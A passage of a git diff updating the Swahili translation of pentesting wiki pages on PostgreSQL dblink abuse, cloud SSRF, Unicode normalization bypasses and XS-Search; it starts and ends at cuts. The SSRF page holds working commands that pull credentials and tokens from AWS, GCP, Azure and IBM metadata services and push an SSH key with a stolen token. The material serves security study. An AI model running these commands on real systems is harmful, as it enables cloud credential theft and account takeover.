wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_. +Kwa kutumia `dblink_connect` unaweza pia **kutafuta bandari zilizo wazi**. Ikiwa hiyo **kazi haifanyi kazi unapaswa kujaribu kutumia `dblink_connect_u()` kama hati inavyosema kwamba `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa itaruhusu watumiaji wasiokuwa wasimamizi kuungana kwa kutumia njia yoyote ya uthibitishaji\_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 @@ -73,7 +73,7 @@ Kumbuka kwamba **kabla** ya kuwa na uwezo wa kutumia `dblink_connect` au `dblink ``` CREATE extension dblink; ``` -### UNC path - NTLM hash disclosure +### UNC njia - kufichuliwa kwa NTLM hash ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 9b67d6a50..97407c017 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -6,16 +6,16 @@ ### Abusing SSRF in AWS EC2 environment -**The metadata** endpoint inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**Mada** ya metadata inaweza kupatikana kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: `http://169.254.169.254` ([taarifa kuhusu mada hapa](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Kuna **toleo 2** za metadata endpoint. **Toleo la kwanza** linaruhusu **kufikia** endpoint kupitia **GET** requests (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **PUT** request na **HTTP header** na kisha tumia token hiyo kufikia metadata kwa HTTP header nyingine (hivyo ni **ngumu zaidi kuitumia** na SSRF). +Kuna **toleo 2** la mada ya metadata. **Toleo la kwanza** linaruhusu **kupata** mada kupitia **maombi ya GET** (hivyo **SSRF yoyote inaweza kuitumia**). Kwa **toleo la 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), unahitaji kuomba **token** kwa kutuma **maombi ya PUT** na **header ya HTTP** na kisha tumia token hiyo kupata metadata kwa header nyingine ya HTTP (hivyo ni **ngumu zaidi kuitumia** na SSRF). > [!CAUTION] -> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la PUT request** litakuwa na **hop limit ya 1**, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya EC2 instance. +> Kumbuka kwamba ikiwa mfano wa EC2 unatekeleza IMDSv2, [**kulingana na hati**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kupata metadata ya EC2 kutoka kwenye kontena ndani ya mfano wa EC2. > -> Zaidi ya hayo, **IMDSv2** pia itakuwa **zuia maombi ya kupata token ambayo yanajumuisha `X-Forwarded-For` header**. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisipate kufikia hiyo. +> Zaidi ya hayo, **IMDSv2** pia **itazuia maombi ya kupata token ambayo yanajumuisha header ya `X-Forwarded-For`**. Hii ni ili kuzuia proxies za nyuma zilizowekwa vibaya kuweza kuipata. -Unaweza kupata taarifa kuhusu [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika script ifuatayo taarifa za kuvutia zinapatikana kutoka kwake: +Unaweza kupata taarifa kuhusu [madoa ya metadata katika hati](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Katika skripti ifuatayo, taarifa za kuvutia zinapatikana kutoka kwake: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -77,7 +77,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; ``` Kama mfano wa **IAM credentials** zinazopatikana hadharani, unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) -Unaweza pia kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) +Pia unaweza kuangalia **EC2 security credentials** za umma katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Basi unaweza kuchukua **credentials hizo na kuzitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya. @@ -88,16 +88,16 @@ aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` -Notice the **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi. +Tafadhali angalia **aws_session_token**, hii ni muhimu kwa ajili ya profaili kufanya kazi. -[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akauti zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki. +[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na akidi zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki. -### SSRF katika AWS ECS (Huduma ya Kontena) credentials +### SSRF katika AWS ECS (Huduma ya Kontena) akidi -**ECS**, ni kundi la mantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **metadata endpoints zinabadilika**. +**ECS**, ni kundi la kimantiki la EC2 instances ambazo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayofanya kazi katika **ECS**, **mipaka ya metadata inabadilika**. -Ikiwa utaweza kufikia _**http://169.254.170.2/v2/credentials/\**_ utaweza kupata akauti za mashine ya ECS. Lakini kwanza unahitaji **kupata \**. Ili kupata \ unahitaji kusoma variable ya **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\ -Unaweza kuwa na uwezo wa kuisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\ +Ikiwa unapata _**http://169.254.170.2/v2/credentials/\**_ utaona akidi za mashine ya ECS. Lakini kwanza unahitaji **kupata \**. Ili kupata \ unahitaji kusoma kiambishi cha **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** ndani ya mashine.\ +Unaweza kuwa na uwezo wa kukisoma kwa kutumia **Path Traversal** hadi `file:///proc/self/environ`\ Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - @@ -122,7 +122,7 @@ Zaidi ya hayo, pamoja na akidi za IAM, kazi za Lambda pia zina **data ya tukio a ### SSRF URL kwa AWS Elastic Beanstalk -Tunapata `accountId` na `region` kutoka kwa API. +Tunapata `accountId` na `region` kutoka API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role @@ -248,7 +248,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ### Ongeza funguo ya SSH -Toa token hiyo +Toa token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` @@ -262,7 +262,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX "access_type": "offline" } ``` -Sasa sukuma funguo ya SSH. +Sasa sukuma ufunguo wa SSH. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" @@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ``` ### Cloud Functions -Mwandiko wa metadata unafanya kazi sawa na katika VMs lakini bila baadhi ya mwandiko: +Mwandiko wa metadata unafanya kazi sawa na katika VMs lakini bila baadhi ya mipangilio: ```bash # /project # Project name and number @@ -299,7 +299,7 @@ done ## Digital Ocean > [!WARNING] -> Hakuna vitu kama AWS Roles au GCP service account, hivyo usitarajie kupata akauti za metadata bot +> Hakuna vitu kama AWS Roles au GCP service account, hivyo usitarajie kupata akiba ya metadata bot credentials Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` @@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq - Lazima **isiwe** na kichwa `X-Forwarded-For` > [!TIP] -> Azure VM inaweza kuwa na utambulisho 1 wa mfumo uliopewa usimamizi na utambulisho kadhaa wa mtumiaji uliopewa usimamizi. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote wa usimamizi ulioambatanishwa na VM**. +> Azure VM inaweza kuwa na utambulisho mmoja unaosimamiwa na mfumo na utambulisho kadhaa unaosimamiwa na mtumiaji. Hii inamaanisha kwamba unaweza **kujifanya kama utambulisho wote unaosimamiwa ulioambatanishwa na VM**. > -> Kwa **kawaida**, mwisho wa metadata utatumia **MI iliyopewa mfumo (ikiwa ipo)**. +> Unapofanya ombi la token ya ufikiaji kwa kiunganishi cha metadata, kwa kawaida huduma ya metadata itatumia **utambulisho wa mfumo uliopewa** ili kuunda token, ikiwa kuna utambulisho wowote wa mfumo uliopewa. Ikiwa kuna **UTAMBULISHO MMOJA** wa mtumiaji uliopewa, basi hii itatumika kwa kawaida. Hata hivyo, ikiwa hakuna utambulisho wa mfumo uliopewa na kuna **utambulisho kadhaa wa mtumiaji uliopewa**, basi huduma ya metadata itarudisha kosa ikionyesha kwamba kuna utambulisho kadhaa na ni muhimu **kueleza ni ipi itumike**. > -> Kwa bahati mbaya sikuweza kupata mwisho wowote wa metadata unaoonyesha MIs zote ambazo VM inaambatanishwa nazo. +> Kwa bahati mbaya, sikuweza kupata kiunganishi chochote cha metadata kinachoonyesha MIs zote ambazo VM inaambatanishwa nazo, hivyo kubaini utambulisho wote uliopewa kwa VM inaweza kuwa kazi ngumu kutoka kwa mtazamo wa Red Team. > -> Hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya: +> Kwa hivyo, ili kupata MIs zote zilizounganishwa unaweza kufanya: > -> - Pata **utambulisho ulioambatanishwa na az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika Azure tenant) +> - Pata **utambulisho ulioambatanishwa na az cli** (ikiwa tayari umepata udhibiti wa kiongozi katika tenant ya Azure) > > ```bash > az vm identity show \ @@ -339,12 +339,12 @@ curl http://169.254.169.254/metadata/v1.json | jq > --name > ``` > -> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyoambatanishwa kwa kawaida katika metadata: +> - Pata **utambulisho ulioambatanishwa** ukitumia MI iliyounganishwa ya default katika metadata: > > ```bash > export API_VERSION="2021-12-13" > -> # Pata token kutoka MI ya kawaida +> # Pata token kutoka MI ya default > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') @@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > -> - **Pata yote** ya utambulisho wa usimamizi uliofafanuliwa katika tenant na **fanya brute force** kuona kama yoyote yao imeunganishwa na VM: +> - **Pata yote** ya utambulisho unaosimamiwa yaliyofafanuliwa katika tenant na **brute force** kuona kama yoyote yao imeunganishwa na VM: > > ```bash > az identity list > ``` > [!CAUTION] -> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho wa usimamizi unayotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya kawaida itatumika**. +> Katika maombi ya token tumia mojawapo ya vigezo `object_id`, `client_id` au `msi_res_id` kuonyesha utambulisho unaotaka kutumia ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Ikiwa hakuna, **MI ya default itatumika**. {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ## IBM Cloud > [!WARNING] -> Kumbuka kwamba katika IBM kwa kawaida metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud +> Kumbuka kwamba katika IBM kwa kawaida metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -Documentation kwa huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa utekelezaji wa mifano zinaweza kupatikana. Kila jukwaa linatoa mwisho wa kipekee kufikia huduma zake za metadata. +Documentation kwa huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa utekelezaji wa mifano zinaweza kupatikana. Kila jukwaa linatoa njia za kipekee za kufikia huduma zake za metadata. ## Packetcloud @@ -555,7 +568,7 @@ Hitaji la kichwa hakijatajwa hapa pia. Metadata inapatikana kwenye: ## Oracle Cloud -Oracle Cloud inatoa mfululizo wa mwisho wa kufikia vipengele mbalimbali vya metadata: +Oracle Cloud inatoa mfululizo wa njia za kufikia vipengele mbalimbali vya metadata: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` @@ -564,7 +577,7 @@ Oracle Cloud inatoa mfululizo wa mwisho wa kufikia vipengele mbalimbali vya meta ## Alibaba -Alibaba inatoa mwisho wa kufikia metadata, ikiwa ni pamoja na vitambulisho vya mfano na picha: +Alibaba inatoa njia za kufikia metadata, ikiwa ni pamoja na vitambulisho vya mifano na picha: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index dd3035332..992fbb160 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -4,26 +4,26 @@ **Hii ni muhtasari wa:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Angalia kwa maelezo zaidi (picha zimechukuliwa kutoka hapo). -## Understanding Unicode and Normalization +## Kuelewa Unicode na Normalization -Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa kibinafsi wa wahusika unastandariswa kuwa thamani moja ya kibinafsi. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika: +Unicode normalization ni mchakato unaohakikisha kwamba uwakilishi tofauti wa kibinafsi wa wahusika unakuwa wa kiwango sawa. Mchakato huu ni muhimu katika kushughulikia nyuzi katika programu na usindikaji wa data. Kiwango cha Unicode kinaelezea aina mbili za usawa wa wahusika: 1. **Canonical Equivalence**: Wahusika wanachukuliwa kuwa sawa kikanuni ikiwa wana muonekano na maana sawa wanapochapishwa au kuonyeshwa. 2. **Compatibility Equivalence**: Aina dhaifu ya usawa ambapo wahusika wanaweza kuwakilisha wahusika sawa wa kiabstrakti lakini wanaweza kuonyeshwa tofauti. -Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa ufahamu wa kina zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/). +Kuna **algorithms nne za Unicode normalization**: NFC, NFD, NFKC, na NFKD. Kila algorithm inatumia mbinu za canonical na compatibility normalization kwa njia tofauti. Kwa kuelewa zaidi, unaweza kuchunguza mbinu hizi kwenye [Unicode.org](https://unicode.org/). -### Key Points on Unicode Encoding +### Vidokezo Muhimu Kuhusu Unicode Encoding -Kuelewa encoding ya Unicode ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna pointi kuu: +Kuelewa Unicode encoding ni muhimu, hasa unaposhughulikia masuala ya ushirikiano kati ya mifumo au lugha tofauti. Hapa kuna vidokezo vikuu: -- **Code Points and Characters**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point". -- **Bytes Representation**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi. -- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa byte. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine. -- **Processing Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi. -- **Variants of UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumia angalau byte 2, hadi 4) na UTF-32 (ikitumia byte 4 kwa wahusika wote). +- **Code Points na Wahusika**: Katika Unicode, kila wahusika au alama inatolewa thamani ya nambari inayojulikana kama "code point". +- **Uwaki wa Bytes**: Code point (au wahusika) inawakilishwa na byte moja au zaidi katika kumbukumbu. Kwa mfano, wahusika wa LATIN-1 (wanaopatikana katika nchi zinazozungumza Kiingereza) wanawakilishwa kwa kutumia byte moja. Hata hivyo, lugha zenye seti kubwa ya wahusika zinahitaji byte zaidi kwa uwakilishi. +- **Encoding**: Neno hili linarejelea jinsi wahusika wanavyobadilishwa kuwa mfululizo wa bytes. UTF-8 ni kiwango maarufu cha encoding ambapo wahusika wa ASCII wanawakilishwa kwa kutumia byte moja, na hadi byte nne kwa wahusika wengine. +- **Usindikaji wa Data**: Mifumo inayosindika data inapaswa kuwa na ufahamu wa encoding inayotumika ili kubadilisha mfululizo wa byte kuwa wahusika kwa usahihi. +- **Tofauti za UTF**: Mbali na UTF-8, kuna viwango vingine vya encoding kama UTF-16 (ikitumika angalau byte 2, hadi 4) na UTF-32 (ikitumika byte 4 kwa wahusika wote). -Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza matatizo yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding. +Ni muhimu kuelewa dhana hizi ili kushughulikia na kupunguza masuala yanayoweza kutokea kutokana na ugumu wa Unicode na mbinu zake mbalimbali za encoding. Mfano wa jinsi Unicode inavyonormalize byte mbili tofauti zinazowakilisha wahusika sawa: ```python @@ -81,7 +81,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template ### XSS (Cross Site Scripting) -Unaweza kutumia moja ya wahusika ifuatayo kudanganya webapp na kutumia XSS: +Unaweza kutumia mmoja wa wahusika hawa kufanyia hila webapp na kutumia XSS: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) @@ -93,7 +93,7 @@ Kumbuka kwamba kwa mfano wahusika wa kwanza wa Unicode wanaweza kutumwa kama: `% Wakati backend inafanya **kuangalia ingizo la mtumiaji kwa regex**, inaweza kuwa inawezekana kwamba **ingizo** linakuwa **normalized** kwa **regex** lakini **siyo** kwa mahali linapotumika. Kwa mfano, katika Open Redirect au SSRF regex inaweza kuwa **normalizing the sent URL** lakini kisha **inaccess it as is**. -Zana [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* inaruhusu **kuunda tofauti za ingizo** ili kufuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/). +Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaruhusu **kuunda tofauti za ingizo** ili kufanyia fuzz backend. Kwa maelezo zaidi angalia **github** na hii [**post**](https://0xacb.com/2022/11/21/recollapse/). ## Unicode Overflow diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 5c6bc4867..910411e98 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -6,12 +6,12 @@ XS-Search ni mbinu inayotumika kwa **kuchota taarifa za cross-origin** kwa kutumia **udhaifu wa njia za pembeni**. -Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na: +Vipengele muhimu vinavyohusika katika shambulio hili ni: -- **Mtandao wa Udhaifu**: Tovuti lengwa ambayo taarifa inakusudiwa kuchotwa. +- **Mtandao wa Udhaifu**: Tovuti inayolengwa kutoka ambayo taarifa inakusudiwa kuchukuliwa. - **Mtandao wa Mshambuliaji**: Tovuti mbaya iliyoundwa na mshambuliaji, ambayo mwathirika anatembelea, ikihifadhi exploit. - **Mbinu ya Kujumuisha**: Mbinu inayotumika kuingiza Mtandao wa Udhaifu katika Mtandao wa Mshambuliaji (mfano, window.open, iframe, fetch, tag ya HTML yenye href, n.k.). -- **Mbinu ya Kuonyesha**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha. +- **Mbinu ya Kuacha**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha. - **Hali**: Masharti mawili yanayoweza kutokea ya Mtandao wa Udhaifu, ambayo mshambuliaji anajaribu kutofautisha. - **Tofauti Zinazoweza Kugundulika**: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea ili kubaini hali ya Mtandao wa Udhaifu. @@ -19,28 +19,28 @@ Vipengele muhimu vinavyohusika katika shambulio hili ni pamoja na: Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu: -- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitishaji. +- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho. - **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript. -- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia yale yanayosababishwa na JavaScript au HTML. +- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML. - **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha. - **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy. - **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili. ### Inclusion Methods -- **HTML Elements**: HTML inatoa vipengele mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vipengele vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Frames**: Vipengele kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa 